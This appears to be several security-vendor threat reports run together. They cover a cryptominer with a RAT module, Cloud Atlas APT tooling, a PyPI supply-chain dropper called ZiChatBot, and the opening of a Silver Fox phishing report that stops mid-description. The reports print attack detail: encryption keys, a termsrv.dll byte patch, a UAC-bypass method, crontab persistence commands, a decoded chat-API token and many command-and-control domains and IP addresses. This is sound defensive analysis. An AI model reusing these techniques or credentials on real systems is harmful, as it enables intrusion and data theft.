In this scenario, the miner begins repeatedly triggering User Account Control (UAC) prompts until it is successfully executed with elevated privileges. The workflow is as follows:

1. Upon initial execution, a copy is made to the %USERPROFILE%\AppData\Roaming\Sandboxie directory and relaunched from there. Simultaneously, an attempt is made to launch it with elevated privileges via UAC.
2. If execution occurs from the Sandboxie folder:

• Persistence is configured for the miner copy in this folder by adding an entry to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run.
• Every three minutes, an attempt is made to launch with elevated privileges via UAC until the GoogleUpdateTaskMachineQC service is successfully installed.

A successful installation requires all of the following conditions to be met:

1. The GoogleUpdateTaskMachineQC service exists in the system.
2. The Start value for this service is set to 2 (Automatic).
3. The ImagePath value points to a file in the C:\ProgramData\Google\Chrome folder.
4. This file exists on disk.

Watchdog

The purpose of this component is to ensure the uninterrupted operation of the miner. At the very beginning of its execution, it copies all files from the C:\ProgramData\Google\Chrome folder and encrypts the contents of each file using a cyclic XOR algorithm with the key AFeIboiOmImJS2ypJU0pTpAO61SELkUc. After that, the encrypted contents are written into the process memory, and the following structure is created in memory for each file:

class FileContainer{
	wchar_t* fullPath; // full path to file
	size_t* ptrSize;   // pointer to file size
	uint8_t* xorEncryptedFile; //pointer to buffer containing encrypted file contents
};

As soon as the contents of all files are saved in memory, Watchdog enters an infinite loop, where every five seconds, it checks the integrity of the installed GoogleUpdateTaskMachineQC service, just as the main module does. If the service is found to be incorrectly installed, the miner overwrites its files in the C:\ProgramData\Google\Chrome path with the contents acquired at startup.

To successfully remediate the miner, this module, which runs inside the explorer.exe process, must be terminated first.

RAT agent

This module provides remote control capabilities via four commands, which are described at the end of this section. The command-and-control addresses used to receive these commands follow this format:

• http://{domain}.space/index.php?authorization=1
• http://{domain}.site/index.php? backup version

The {domain} is calculated based on the current date. The process starts with the current year, then adds the zone identifier for the current month. All 12 months are divided into four zones. Finally, the word microsoft is appended to the resulting string. This final string is used as the input for subsequent double hashing using the MurmurHash64 algorithm. The hash output is the domain for the implant to communicate with.

At the time of writing this, the following domains were registered:

• 2025, April-July → 5d14vnfb[.]space
• 2025, August-November → r7mvjl67[.]space
• 2025, December → zgj1tam9[.]space
• 2026, January-March → jeaw520i[.]space
• 2026, April–July → qdmagva5[.]space

An example of a request to the C2 server is provided below:

As can be seen, the request contains an encrypted body consisting of data encrypted via AES-CBC with the key 0123456789abcdef0123456789abcdef and the initialization vector 000102030405060708090a0b0c0d0e0f. The data contains a list of installed programs on the system, along with processor information and the serial number of the C: drive.

This information is likely used by the backend to check for virtual or debugging environments.

The first 16 bytes of the server response body represent the initialization vector for the AES-CBC algorithm with the key 0123456789abcdef0123456789abcdef, while the remaining bytes are the data encrypted with this algorithm. The decrypted data contains a malicious payload, as well as its RSA-SHA256 signature (sign):

struct PLAINTEXT{ 
uint32_t len_payload; 
uint8_t payload[len_payload]; 
uint32_t len_sign; 
uint8_t sign[len_signature]; 
}

The authenticity of the message is verified via the sign signature using the server’s public key, which is embedded in the executable.

Inside the malicious payload is a 4-byte code that determines the subsequent behavior of the program, along with additional data whose meaning depends on the code.

The table below lists the four remote control commands for the RAT agent module.

Code	Purpose
1	Execution of an arbitrary command
2	Reflexive execution of the provided PE file within the explorer.exe process
3	Execution of the provided shellcode
4	Exit

The miners

Depending on whether a discrete GPU is present in the system, either the CPU miner alone or a combination of the CPU and GPU miners is launched. The CPU miner is based on XMRig, while the GPU miner supports multiple algorithms.

Upon initial execution, both miners attempt to retrieve their startup configuration from a remote server. The potential addresses are listed below:

• “{domain}.strangled.net”
• “{domain}.ignorelist.com”
• “{domain}.ftp.sh”
• “{domain}.zanity.net”

As with the RAT agent component, the server address is generated from the current date — in this case, the server address changes every week. This results in quite a large number of domains for the 2020–2030 period; however, all of them point to the same IP address: 107[.]172[.]212[.]235. The first available domain out of the four potential domains listed above will be used.

The algorithm for retrieving the configuration from the server is completely identical to that used by the RAT agent, with the sole exception that th1s1sth3key0f4n1ntere5t1ngw0rld is used as the AES-CBC key in this scenario, and the configuration resides within the payload. The retrieved configuration is encrypted via AES-CBC using the key UXUUXUUXUUCommandULineUUXUUXUUXU and the initialization vector UUCommandULineUU. The encrypted data is then converted into a base64 string, which is passed as a command-line parameter to launch the miner inside the explorer.exe process through process hollowing.

Conclusion

Our investigation focused on an ongoing campaign distributing miners via popular illegal content sites. The threat actors leverage a variety of sites, ranging from online libraries to movie and TV show streaming platforms. There is no telling what channels they will use to distribute the malicious archive in the future. However, the current case shows that users visiting pirated websites continue to take a serious risk.

Our products detect this malware with the following Generic verdicts:

• HEUR:Trojan.Win64.DllHijack.gen
• MEM:Trojan.Win32.SEPEH.gen

Indicators of Compromise

Malicious archive download URL
urush1bar4[.]online

Malicious DLL libraries:
6A0FE6065D76715FEEBC1526D456DB73
7F624407AE489324E96A708A09C17E6F
02A43B3423367B9DDDC24CC7DFC070DF

RAT C&C:
5d14vnfb[.]space
r7mvjl67[.]space
zgj1tam9[.]space
jeaw520i[.]space
qdmagva5[.]space

Configuration retrieval address
107[.]172[.]212[.]235

UnamWebPanel control panel addresses
m4yuri[.]online
kristina[.]quest

In 2025, we observed pervasive SSH tunnel activity, which has remained active into 2026, affecting many government organizations and commercial companies in Russia and Belarus. Behind some of this activity is Cloud Atlas, a group we have known since 2014. During our investigation, we identified new tools used by this group, as well as indicators of compromise.

The group is back to sending out archives containing malicious shortcuts that launch PowerShell scripts. This technique is employed in addition to the previously described use of malicious documents, which exploit an old vulnerability in the Microsoft Office Equation Editor process (CVE-2018-0802) to download and execute malicious code. We have observed the use of third-party public utilities (Tor/SSH/RevSocks) to gain a foothold in infected systems and create additional backup control channels.

Technical details

Initial infection

As for the primary compromise, Cloud Atlas remains consistent in using phishing. In the observed campaigns, the attackers emailed a ZIP archive containing an LNK file as an attachment.

Attackers use LNK shortcuts to covertly execute PowerShell scripts hosted on external resources. The command line of the shortcut:

Example of the PowerShell script downloaded and executed by the shortcut:

Actions performed by the downloaded PowerShell:

Step	Action	Description
1	Drops “$temp\fixed.ps1”	Pre-staging: places the main payload locally in advance to ensure an execution capability independent of subsequent network connectivity or C2 availability.
2	Creates “Run” registry key “YandexBrowser_setup” for “$temp\fixed.ps1” startup	Early persistence: guarantees execution upon the next logon or reboot. If the script is interrupted during later stages, the payload will still activate automatically.
3	Downloads and drops “$temp\rar.zip” Extracts “*.pdf” from the downloaded  “$temp\rar.zip”	Payload delivery: retrieves the decoy archive from the remote server to prepare user-facing content for the distraction phase.
4	Extracts “*.pdf” from the downloaded  “$temp\rar.zip”	Decoy preparation: unpacks the legitimate-looking document so it can be executed silently without requiring user interaction.
6	Opens extracted decoy document “*.pdf” with user’s default software	User distraction: opens a convincing document to maintain user engagement and creates a legitimate workflow appearance to buy additional 30–120 seconds for background operations.
6	Executes  “taskkill.exe /F /Im winrar.exe”	Process concealment: terminates the archive extractor to prevent the user from seeing the archive contents or noticing unexpected file extraction activity.
7	Searches and deletes “rar.zip”, “*.pdf.zip” and “*.pdf.lnk”	Anti-forensic cleanup: removes the initial infection artifacts before activating the main payload, reducing the number of disk traces available for incident response or EDR correlation.
8	Executes  “$temp\fixed.ps1”	Controlled execution: launches the main payload only after persistence is secured, the user is distracted, and access traces are cleaned up.

Fixed.ps1 (loader)

The primary purpose of the Fixed.ps1 script is to deliver and install subsequent malware onto the compromised system, specifically VBCloud and PowerShower. Fixed.ps1 establishes persistence (by adding itself to registry Run keys), creates a decoy for the user (by opening a PDF document), and executes the next stages of the attack.

Fixed.ps1::Payload (VBCloud dropper)

This module functions as a dropper for the VBCloud backdoor. It drops two files onto the infected machine:

• video.vbs: the loader of the backdoor,VBCloud::Launcher. This is a VBScript that decrypts the contents of video.mds (typically using RC4 with a hardcoded key) and executes it in memory.
• video.mds: the encrypted body of the backdoor, VBCloud::Backdoor. This is the main module that connects to a C2 server to receive additional scripts or execute built-in commands. This backdoor is designed to function as a stealer, specifically targeting files with extensions of interest (such as DOC, PDF, XLS) and exfiltrating them.

Fixed.ps1::Payload (PowerShower)

This module installs a second backdoor called PowerShower on the system. We don’t have the specific script that performs this installation, but we assume it’s performed by a script similar to fixed.ps1::Payload (VBCloud dropper).

Unlike VBCloud, which focuses on file theft, PowerShower is primarily used for network reconnaissance and lateral movement within the victim’s infrastructure. PowerShower can perform the following tasks:

• Collect information about running processes, administrator groups, and domain controllers.
• Download and execute PowerShell scripts from the C2 server.
• Conduct “Kerberoasting” attacks (stealing password hashes of Active Directory accounts).

PowerShower is dropped onto the system via the path ‘C:\Users\[username]\Pictures\googleearth.ps1’.

PowerShower::Payload (credential grabber)

PowerShower downloads an additional script for stealing credentials. It performs the following actions:

• Creates a Volume Shadow Copy of the C:\ drive.
• Copies the SAM (stores local user password hashes) and SECURITY system files from this shadow copy to C:\Users\Public\Documents\, disguising them as PDF files.
• The script is launched in several stages. To execute with high privileges, the script uses a UAC bypass technique via fodhelper.exe (a built-in Windows utility). This allows PowerShell to run as an administrator without directly prompting the user, which could otherwise raise suspicion.

The full launch chain looks like this:

The full Base64-decoded script is given below.

Multi-user RDP by patching termsrv.dll

Moving laterally across the victim’s network, the attackers executed a suspicious PowerShell script named rdp_new.ps1 (MD5 1A11B26DD0261EF27A112CE8B361C247):

The script is designed to allow multiple RDP sessions in Windows 10 by patching the termsrv.dll file. Termsrv.dll is the core Windows library that enforces Remote Desktop Services rules.

By default, Windows limits the number of simultaneous RDP sessions. Removing this restriction allows attackers to operate on the machine in the background without disconnecting the legitimate user, thereby reducing the likelihood of detection.

At first, the script enables RDP on the firewall and downgrades the RDP security settings:

Before modifying termsrv.dll, the script takes ownership and assigns itself full permissions. Then the script finds the sequence of bytes 39 81 3C 06 00 00 ?? ?? ?? ?? ?? ?? and replaces it with B8 00 01 00 00 89 81 38 06 00 00 90. After these manipulations, the script restarts the RDP service.

The patched version allows multiple concurrent logins so attackers can stay connected without disrupting the legitimate user, thereby reducing suspicion.

Reverse SSH tunneling

As mentioned above, during this wave of attacks, the adversaries widely deployed reverse SSH tunnels to many hosts of interest. The compromised machine initiates an SSH connection to an attacker-controlled server, which allows attackers to bypass standard firewall rules via establishing outbound connections.

That way, even if the primary backdoor is discovered, the attackers can maintain control through the SSH tunnel.

To install a reverse SSH tunnel on a victim’s host, the attackers run VBS scripts via PAExec or PsExec.

We’ve seen three types of scripts:

• Gen.vbs (WriteToSchedulerGenerateKey.vbs) generates key for SSH tunnel.
• Run.vbs (WriteToSchedulerRunSSH.vbs) runs reverse SSH tunnel.
• Kill.vbs (WriteToSchedulerKillSSH.vbs) stops reverse SSH tunnel via taskkill.exe.

To achieve persistence, the attackers added a new scheduled task in Windows:

In some cases, before establishing a reverse SSH tunnel, attackers set new access permissions to the folder containing the private key to prevent the legitimate user or system administrators from easily accessing or modifying it:

Patched OpenSSH

Some OpenSSH binaries used by the attackers had their imports modified. Instead of libcrypto.dll, the SSH executable imports syruntime.dll, which was placed in the same folder as the binary. This was likely done to evade detection and ensure stealth.

In addition, we found a portable version of OpenSSH, presumably compiled by the adversaries:

RevSocks

In addition to Reverse SSH tunnels, the attackers installed RevSocks using the same infrastructure. RevSocks is an alternative tool to SSH for establishing tunnels and proxy connections, written in Golang. This tool allows direct connection to workstations on the local network. It also allows attackers to gain access to other segments of the victim’s network by using the machine as a gateway. In some cases, C2 addresses were hardcoded into the binary; in other cases, the C2 was passed in command line arguments.

There were also reverse SOCKS samples with hardcoded C2 addresses:

Tor tunneling

To maintain control over the compromised host, the Tor network was used in some cases. A minimal set of a Tor executable and configuration files, necessary for launching HiddenService, was copied to the system directories of infected devices. The name of the Tor Browser executable file was modified. As a result, the infected machine was accessible via RDP from the Tor network when accessing the generated .onion domain.
Below is an example of a configuration file for routing connections from Tor to RDP ports on the local network, as well as example command lines for logging into Tor.

PowerCloud

We analyzed a new Cloud Atlas tool, PowerCloud. It collects user data with administrator privileges and writes this information to Google Sheets in Base64 format.

The tool represents an obfuscated PowerShell script. In most cases, it is packaged into an executable file using the PS2EXE utility, but we have also encountered variants in the form of a separate PowerShell script.

To find administrators on the victim host, the tool executes the following command:

This information is appended with the computer name and current date, the data is encoded in base64, and then the collected data is added to an existing Google Sheet.

Browser checker

Additionally, the attackers used another PowerShell script (MD5 5329F7BFF9D0D5DB28821B86C26D628F), compiled into an executable file via PS2EXE, which checks whether browser processes (Chrome, Edge, Firefox, and other) are running. This helps detect when the user is working on the computer. This can be used to choose the optimal time for conducting attacks (for example, when the user is away but their browser is still open) or simply to gather information about the victim’s habits.

The information about running browsers is written to a log file on the local host.

Victims

According to our telemetry, in late 2025 and early 2026, the identified targets of the described malicious activities are located in Russia and Belarus. The targeted industries mostly include government agencies and diplomatic entities.

We attribute the activity described in this report to the Cloud Atlas APT group with a high degree of confidence. The group used techniques and tools described previously, such as the initial access vector, the Python script for information gathering, and the Tor application for forwarding ports to the Tor network. The victim profile and geography also matches the Cloud Atlas targets.

We couldn’t help but notice some parallels with recent Head Mare activity. The PhantomHeart backdoor (available in Russian only), attributed to Head Mare and used to create an SSH tunnel, was placed in directories actively used by Cloud Atlas:

• C:\Windows\ime
• C:\Windows\System32\ime
• C:\Windows\pla
• C:\Windows\inf
• C:\Windows\migration
• C:\Windows\System32\timecontrolsvc
• C:\Windows\SKB

However, TTPs are still differentiated.

Conclusion

For more than ten years, the Cloud Atlas group has continued its activities and expanded its arsenal. Over the course of last year, many targeted campaigns in general were found to employ ReverseSocks, SSH and Tor, and the use of these utilities was no exception for Cloud Atlas. Creating such backup control channels using publicly available utilities significantly complicates the complete disruption of attackers’ actions on compromised systems. We will continue to closely monitor the group’s activity and describe their new tools and techniques.

Indicators of compromise

PowerCloud

7A95360B7E0EB5B107A3D231ABBC541A  C:\Windows\wininet.exe
C0D1EAA15A2CEFBAB9735787575C8D8E C:\Windows\LiveKernelReports\update.exe
D5B38B252CF212A4A32763DE36732D40   C:\Windows\ime\imejp\dicts\i39884.exe
3C75CEDB1196DF5EAB91F31411ED4B33  C:\pla\reports.exe
42AC350BFBC5B4EB0FEDBA16C81919C7   C:\ProgramData\update_[redacted].exe
493B901D1B33EB577DB64AADD948F9CE  C:\Windows\migration\wtr\MicrosoftBrowser.exe
2CABB721681455DAE1B6A26709DEF453  C:\Windows\pla\reports\winlog.exe
1B39E86EB772A0E40060B672B7F574F1 C:\Windows\System32\timecontrolsvc\vmnetdrv64.exe
1D401D6E6FC0B00AAA2C65A0AC0CFD6B C:\Windows\setup\scripts\install\software\activation\aact\dfsvc.exe
40A562B8600F843B717BC5951B2E3C29  C:\Windows\branding\scat.exe
F721A76DEB28FD0B80D27FCE6B8F5016  C:\Windows\ime\imekr\dicts\dfsvc.exe
D3C8AFD22BAA306FF659DB1FAC28574A  C:\ProgramData\update_[redacted].exe
6D7B2D1172BBDB7340972D844F6F0717 C:\Users\[redacted]\AppData\Local\1c\1cv8\1cv8ud.exe
C:\Users\[redacted]\AppData\Local\1c\1cv8\svc.exe
9769F43B9DE8D19E803263267FA6D62E C:\Users\[redacted]\AppData\Local\1c\1cv8\1cv8ud.exe
63B6BE9AE8D8024A40B200CCCB438F1D  C:\Windows\notepad.exe
6AA586BCC45CA2E92A4F0EF47E086FA1  C:\Windows\splwow32.exe
EBA3BCDB19A7E256BF8E2CC5B9C1CCA9   C:\Users\[redacted]\Desktop\soc\stant.exe
B4E183627B7399006C1BC47B3711E419  C:\WINDOWS\ime\service.exe
F56B31A4B47AD3365B18A7E922FBA1A8  dfsvc.exe
F6F62456FB0FCC396FB654CBED339BC3   –
25C8ED0511375DCA57EF136AC3FA0CCA   C:\branding\dwmw.exe

Browser checker

5329F7BFF9D0D5DB28821B86C26D628F  C:\ProgramData\checker_[redacted].exe

ReverseSocks

2B4BA4FACF8C299749771A3A4369782E  C:\Windows\PLA\System\bounce.exe
C:\Windows\pla\print_status.exe
BA9CE06641067742F2AFC9691FAFF1DC   C:\ProgramData\hp\client.exe
FB0F8027ACF1B1E47E07A63D8812ED50   C:\Windows\System32\timecontrolsvc\vmnetdrv64.exe
BBF1FA694122E07635DEEAC11AD712F8   C:\Windows\System32\HostManagement.exe
F301AA3D62B5095EEC4D8E34201A4769   C:\Windows\ime\imejp\msfu.exe
F9C3BBE108566D1A6B070F9C5FB03160   C:\Windows\ime\imetc\help\IMTCEN14.exe

Malicious MS Office documents

369B75BDCDED16469EDE7AB8BEDCFAE1
9EAAE9491F6A50D6DF0BE393734A44CB
3E6E9DF00A764B348EC611EE8504ACA0
9BD788F285E32A05E6591D1EB36EBFFC
F42085522EC2EBB16EDCF814E7C330AD
2042EB5D52F0B535A1CE6B6F954C8C2B
2AA1E9765EF6B00B94A9B6BE0041436A
36120F5E9411BCBAC7104EF3FA964ED2
5000A353399500BC78381DC95B6ED2DC
579A9952D31CAD801A3988DBE7914CE7
867B634588C0FD6B26684D502C15AB03
38FA4306FA4406BA31CF171AF4D36E34
83EDDE9F7EEEFAC0363413972F35572B
CC751619BFEC0DC4607C17112B9E3B2C
A632858F14B36F03D0F213F5F5D6BFF2
097CA205AD9E3B72018750280904718C
69121C36EB8BF77962DCA825FCFFD873
C5702EB250F855C8C872FFFB9BB656ED
ED34F5A136FBA4FDEA976570FAA33ED7
0577DB70844E88B32B954906E2F20798
28ECF8FB6719E14231B94B4D37629B0E
0857C84B62289A1A9F29E19244E9A499
0C514E137860F489E3801213460EF938
50568B1F9335A7E3BA4E5DF035A8FB86
7F776AD200287D6DE14A29158C457179
51F7F794ED43FB90D0F8EBBB5EFFE628
B8C753DD254509FBA5077FFD5067EAB0
BC3739DEC8CD8F54F3F60A85F3ED600E
EC076CD21C483A40156F4E40D08DADED
216CB7F31D383C0DD892B284DF05A495
116F59E70A9DF97F4ADAEA71EECB1E9A
7242AC065B50BCDE9308756B49DBADCB
8158552950D2E13B075001CE0C52AA97
A75DBED984963B9AB21309C5B2F8FD9B
0320DD389FDBAB25D46792BD2817675E
5339D1A666F3E40FE756505CF1D87D4B
67D7E3AEEB673BF60C59361C12A4ED81
89572F0ED20791A5AC9FC4267D67CCB0
B6AAE073E7BFEBF4D643C2BBEB5C02E1
344CA9EA07CD4AC90EF27F8890D4EC05

Domains and IPs

Reverse SSH/Socks domains

tenkoff[.]org
cloudguide[.]in
goverru[.]com
kufar[.]org
ultimatecore[.]net
spbnews[.]net
onedrivesupport[.]net

Malicious and compromised domains used in MS Office documents

amerikastaj[.]com
bigbang[.]me
paleturquoise-dragonfly-364512.hostingersite[.]com
wizzifi[.]com
totallegacy[.]org
mamurjor[.]com
landscapeuganda[.]com
lafortunaitalian.co[.]uk
kommando[.]live
internationalcommoditiesllc[.]com
humanitas[.]si
fishingflytackle[.]com
firsai.tipshub[.]net
alnakhlah.com[.]sa
allgoodsdirect.com[.]au
agenciakharis.com[.]br

Powershell payload staging

istochnik[.]org
znews[.]neti
investika-club[.]com
194.102.104[.]207
46.17.45[.]56
46.17.45[.]49
46.17.44[.]125
46.17.44[.]212
185.22.154[.]73
194.87.196[.]163
195.58.49[.]9
93.125.114[.]193
93.125.114[.]57
45.87.219[.]116
37.228.129[.]224
185.53.179[.]136
185.126.239[.]77
5.181.21[.]75
146.70.53[.]171
45.15.65[.]134
185.250.181[.]207
81.30.105[.]71

File paths

VBS scripts

WriteToSchedulerKillSSH.vbs
Create_task_day.vbs
WriteToSchedulerGenerateKey.vbs
C:\Windows\INF\Run.vbs
c:\Windows\INF\install.vbs
Update.vbs
c:\Windows\PLA\System\Gen.vbs
C:\Windows\INF\GenK.vbs
c:\Windows\PLA\System\Kill.vbs
c:\Windows\PLA\System\Run.vbs

ssh.exe

c:\Windows\ime\imejp\Asset.exe
c:\Windows\PLA\System\conhosts.exe
c:\Windows\INF\BITS\esentprf.exe
c:\Windows\INF\MSDTC\RuntimeBrokers.exe
c:\Windows\inf\diagnostic.exe

ReverseSocks

C:\Windows\PLA\System\bounce.exe
C:\ProgramData\hp\client.exe
C:\Windows\System32\timecontrolsvc\vmnetdrv64.exe

Tor client

C:\Windows\Resources\Update\Intel.exe
C:\Windows\INF\package.exe

Introduction

Through our daily threat hunting, we noticed that, beginning in July 2025, a series of malicious wheel packages were uploaded to PyPI (the Python Package Index). We shared this information with the public security community, and the malware was removed from the repository. We submitted the samples to Kaspersky Threat Attribution Engine (KTAE) for analysis. Based on the results, we believe the packages may be linked to malware discussed in a Threat Intelligence report on OceanLotus.

While these wheel packages do implement the features described on their PyPI web pages, their true purpose is to covertly deliver malicious files. These files can be either .DLL or .SO (Linux shared library), indicating the packages’ ability to target both Windows and Linux platforms. They function as droppers, delivering the final payload – a previously unknown malware family that we have named ZiChatBot. Unlike traditional malware, ZiChatBot does not communicate with a dedicated command and control (C2) server, but instead uses a series of REST APIs from the public team chat app Zulip as its C2 infrastructure.

To conceal the malicious package containing ZiChatBot, the attacker created another benign-looking package that included the malicious package as a dependency. Based on these facts, we confirm that this campaign is a carefully planned and executed PyPI supply chain attack.

Technical details

Spreading

The attacker created three projects on PyPI and uploaded malicious wheel packages designed to imitate popular libraries, tricking users into downloading them. This is a clear example of a supply chain attack via PyPI. See below for detailed information about the fake libraries and their corresponding wheel packages.

Malicious wheel packages

The packages added by the attacker and listed on PyPI’s download pages are:

• uuid32-utils library for generating a 32-character random string as a UUID
• colorinal library for implementing cross-platform color terminal text
• termncolor library for ANSI color format for terminal output

The key metadata for these packages are as follows:

Pip install command	File name	First upload date	Author / Email
pip install uuid32-utils	uuid32_utils-1.x.x-py3-none-[OS platform].whl	2025-07-16	laz**** / laz****@tutamail.com
pip install colorinal	colorinal-0.1.7-py3-none-[OS platform].whl	2025-07-22	sym**** / sym****@proton.me
pip install termncolor	termncolor-3.1.0-py3-none-any.whl	2025-07-22	sym**** / sym****@proton.me

Based on the distribution information on the PyPI web page, we can see that it offers X86 and X64 versions for Windows, as well as an x86_64 version for Linux. The colorinal project, for example, provides the following download options:

Initial infection

The uuid32-utils and colorinal libraries employ similar infection chains and malicious payloads. As a result, this analysis will focus on the colorinal library as a representative example.

A quick look at the code of the third library, termncolor, reveals no apparent malicious content. However, it imports the malicious colorinal library as a dependency. This method allows attackers to deeply conceal malware, making the termncolor library appear harmless when distributing it or luring targets.

During the initial infection stage, the Python code is nearly identical across both Windows and Linux platforms. Here, we analyze the Windows version as an example.

Windows version

Once a Python user downloads and installs the colorinal-0.1.7-py3-none-win_amd64.whl wheel package file, or installs it using the pip tool, the ZiChatBot’s dropper (a file named terminate.dll) will be extracted from the wheel package and placed on the victim’s hard drive.

After that, if the colorinal library is imported into the victim’s project, the Python script file at [Python library installation path]\colorinal-0.1.7-py3-none-win_amd64\colorinal\__init__.py will be executed first.

This Python script imports and executes another script located at [python library install path]\colorinal-0.1.7-py3-none-win_amd64\colorinal\unicode.py. The is_color_supported() function in unicode.py is called immediately.

The comment in the is_color_supported() function states that the highlighted code checks whether the user’s terminal environment supports color. The code actually loads the terminate.dll file into the Python process and then invokes the DLL’s exported function envir, passing the UTF-8-encoded string xterminalunicod as a parameter. The DLL acts as a dropper, delivering the final payload, ZiChatBot, and then self-deleting. At the end of the is_color_supported() function, the unicode.py script file is also removed. These steps eliminate all malicious files in the library and deploy ZiChatBot.
For the Linux platform, the wheel package and the unicode.py Python script are nearly identical to the Windows version. The only difference is that the dropper file is named “terminate.so”.

Dropper for ZiChatBot

From the previous analysis, we learned that the dropper is loaded into the host Python process by a Python script and then activated. The main logic of the dropper is implemented in the envir export function to achieve three objectives:

1. Deploy ZiChatBot.
2. Establish an auto-run mechanism.
3. Execute shellcode to remove the dropper file (terminate.dll) and the malicious script file from the installed library folder.

The dropper first decrypts sensitive strings using AES in CBC mode. The key is the string-type parameter “xterminalunicode” of the exported function. The decrypted strings are “libcef.dll”, “vcpacket”, “pkt-update”, and “vcpktsvr.exe”.

Next, the malware uses the same algorithm to decrypt the embedded data related to ZiChatBot. It then decompresses the decrypted data with LZMA to retrieve the files vcpktsvr.exe and libcef.dll associated with ZiChatBot. The malware creates a folder named vcpacket in the system directory %LOCALAPPDATA%, and places these files into it.

To establish persistence for ZiChatBot, the dropper creates the following auto-run entry in the registry:

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
"pkt-update"="C:\Users\[User name]\AppData\Local\vcpacket\vcpktsvr.exe"

Once preparations are complete, the malware uses the XOR algorithm to decrypt the embedded shellcode with the three-byte key 3a7. It then searches the decrypted shellcode’s memory for the string Policy.dllcppage.dll and replaces it with its own file name, terminate.dll, and redirects execution to the shellcode’s memory space.

The shellcode employs a djb2-like hash method to calculate the names of certain APIs and locate their addresses. Using these APIs, it finds the dropper file with the name terminate.dll that was previously passed by the DLL before unloading and deleting it.

Linux version

The Linux version of the dropper places ZiChatBot in the path /tmp/obsHub/obs-check-update and then creates an auto-run job using crontab. Unlike the Windows version, the Linux version of ZiChatBot only consists of one ELF executable file.

system("chmod +x /tmp/obsHub/obs-check-update") 
system("echo \"5 * * * * /tmp/obsHub/obs-check-update" | crontab - ")

ZiChatBot

The Windows version of ZiChatBot is a DLL file (libcef.dll) that is loaded by the legitimate executable vcpktsvr.exe (hash: 48be833b0b0ca1ad3cf99c66dc89c3f4). The DLL contains several export functions, with the malicious code implemented in the cef_api_mash export. Once the DLL is loaded, this function is invoked by the EXE file. ZiChatBot uses the REST APIs from Zulip, a public team chat application, as its command and control server.

ZiChatBot is capable of executing shellcode received from the server and only supports this one control command. Once it runs, it initiates a series of sequential HTTP requests to the Zulip REST API.

In each HTTP request, an API authentication token is included as an HTTP header for server-side authentication, as shown below.

// Auth token:
TW9yaWFuLWJvdEBoZWxwZXIuenVsaXBjaGF0LmNvbTpVOFJFWGxJNktmOHFYQjlyUXpPUEJpSUE0YnJKNThxRw==

// Decoded Auth token
Morian-bot@helper.zulipchat.com:U8REXlI6Kf8qXB9rQzOPBiIA4brJ58qG

ZiChatBot utilizes two separate channel-topic pairs for its operations. One pair transmits current system information, and the other retrieves a message containing shellcode. Once the shellcode is received, a new thread is created to execute it. After executing the command, a heart emoji is sent in response to the original message to indicate the execution was successful.

Infrastructure

We did not find any traditional infrastructure, such as compromised servers or commercial VPS services and their associated IPs and domains. Instead, the malicious wheel packages were uploaded to the Python Package Index (PyPI), a public, shared Python library. The malware, ZiChatBot, leverages Zulip’s public team chat REST APIs as its command and control server.

The “helper” organization that the attacker had registered on the Zulip service has now been officially deactivated by Zulip. However, infected devices may still attempt to connect to the service, so to help you locate and cure them, we recommend adding the full URL helper.zulipchat.com to your denylist.

Victims

The malware was uploaded in July 2025. Upon discovering these attacks, we quickly released an update for our product to detect the relevant files and shared the necessary information with the public security community. As a result, the malicious software was swiftly removed from PyPI, and the organization registered on the Zulip service was officially deactivated. To date, we have not observed any infections based on our telemetry or public reports.

Attribution

Based on the results from our KTAE system, the dropper used by ZiChatBot shows a 64% similarity to another dropper we analyzed in a TI report, which was linked to OceanLotus. Reverse engineering shows that both droppers use nearly identical algorithms and logic for to decrypt and decompress their embedded payloads.

Conclusions

As an active APT organization, OceanLotus primarily targets victims in the Asia-Pacific region. However, our previous reports have highlighted a growing trend of the group expanding its activities into the Middle East. Moreover, the attacks described in this report – executed through PyPI – target Python users worldwide. This demonstrates OceanLotus’s ongoing effort to broaden its attack scope.

In the first half of 2025, a public report revealed that the group launched a phishing campaign using GitHub. The recent PyPI-based supply chain attack likely continues this strategy. Although phishing emails are still a common initial infection method for OceanLotus, the group is also actively exploring new ways to compromise victims through diverse supply chain attacks.

Indicators of compromise

Additional information about this activity, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. If you are interested, please contact intelreports@kaspersky.com.

Malicious wheel packages
termncolor-3.1.0-py3-none-any.whl
5152410aeef667ffaf42d40746af4d84

uuid32_utils-1.x.x-py3-none-xxxx.whl
0a5a06fa2e74a57fd5ed8e85f04a483a
e4a0ad38fd18a0e11199d1c52751908b
5598baa59c716590d8841c6312d8349e
968782b4feb4236858e3253f77ecf4b0
b55b6e364be44f27e3fecdce5ad69eca
02f4701559fc40067e69bb426776a54f
e200f2f6a2120286f9056743bc94a49d
22538214a3c917ff3b13a9e2035ca521

colorinal-0.1.7-py3-none-xxxx.whl
ba2f1868f2af9e191ebf47a5fab5cbab

Dropper for ZiChatBot
Backward.dll
c33782c94c29dd268a42cbe03542bca5
454b85dc32dc8023cd2be04e4501f16a

Backward.so
fce65c540d8186d9506e2f84c38a57c4
652f4da6c467838957de19eed40d39da

terminate.dll
1995682d600e329b7833003a01609252

terminate.so
38b75af6cbdb60127decd59140d10640

ZiChatBot
libcef.dll
a26019b68ef060e593b8651262cbd0f6

In December 2025, we detected a wave of malicious emails designed to look like official correspondence from the Indian tax service. A few weeks later, in January 2026, a similar campaign began targeting Russian organizations. We have attributed this activity to the Silver Fox threat group.

Both waves followed a nearly identical structure: phishing emails were styled as official notices regarding tax audits or prompted users to download an archive containing a “list of tax violations”. Inside the archive was a modified Rust-based loader pulled from a public repository. This loader would download and execute the well-known ValleyRAT backdoor. The campaign impacted organizations across the industrial, consulting, retail, and transportation sectors, with over 1600 malicious emails recorded between early January and early February.

During our investigation, we also discovered that the attackers were delivering a new ValleyRAT plugin to victim devices, which functioned as a loader for a previously undocumented Python-based backdoor. We have named this backdoor ABCDoor. Retrospective analysis reveals that ABCDoor has been part of the Silver Fox arsenal since at least late 2024 and has been utilized in real-world attacks from the first quarter of 2025 to the present day.

Email campaign

In the January campaign, victims received an email purportedly from the tax service with an attached PDF file.

The PDF contained two clickable links to download an archive, both leading to a malicious website: abc.haijing88[.]com/uploads/фнс/фнс.zip.

In the December campaign, the malicious code was embedded directly within the files attached to the email.

The email shown in the screenshot above was sent via the SendGrid cloud platform and contained an archive named ITD.-.rar. Inside was a single executable file, Click File.exe, with an Adobe PDF icon (the RustSL loader).

